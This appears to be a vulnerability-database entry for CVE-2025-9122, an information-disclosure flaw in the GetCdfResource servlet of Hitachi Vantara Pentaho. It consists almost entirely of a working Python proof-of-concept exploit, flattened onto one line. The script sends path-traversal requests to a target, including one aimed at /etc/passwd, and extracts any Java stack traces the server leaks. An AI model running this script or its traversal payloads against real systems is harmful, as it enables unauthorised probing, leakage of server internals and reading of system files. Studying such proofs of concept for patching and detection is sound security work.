CVE-2025-9122 Hitachi Vantara Pentaho GetCdfResource敏感信息泄露漏洞

import requests import sys # CVE-2025-9122 PoC - Information Disclosure in GetCdfResource servlet # Target: Hitachi Vantara Pentaho Community Dashboard Framework def exploit(target_url): """ Exploit script to trigger error disclosure in GetCdfResource servlet """ endpoints = [ "/pentaho/content/common-ui/resources/web/../../../GetCdfResource", "/pentaho/api/repositories/GetCdfResource", "/pentaho/plugin/GetCdfResource?resource=/../../../invalid", "/pentaho/content/pentaho-cdf-dd/GetCdfResource?path=../../../../etc/passwd" ] print(f"[*] Testing target: {target_url}") print("[*] CVE-2025-9122 - Information Disclosure in GetCdfResource\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: print(f"[+] Testing: {endpoint}") response = requests.get(url, timeout=10, verify=False) # Check for stack trace indicators if any(indicator in response.text for indicator in [ 'java.lang.', 'at java.', 'Exception', 'Stacktrace', 'at org.pentaho', 'at com.pentaho', '.java:' ]): print(f"[!] VULNERABLE - Stack trace detected!") print(f"[+] Response length: {len(response.text)} bytes") # Extract first 500 chars of stack trace if 'java.lang' in response.text: start = response.text.find('java.lang') print(f"[+] Stack trace snippet:\n{response.text[start:start+500]}") return True else: print(f"[-] No information disclosure detected") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/pentaho") sys.exit(1) exploit(sys.argv[1])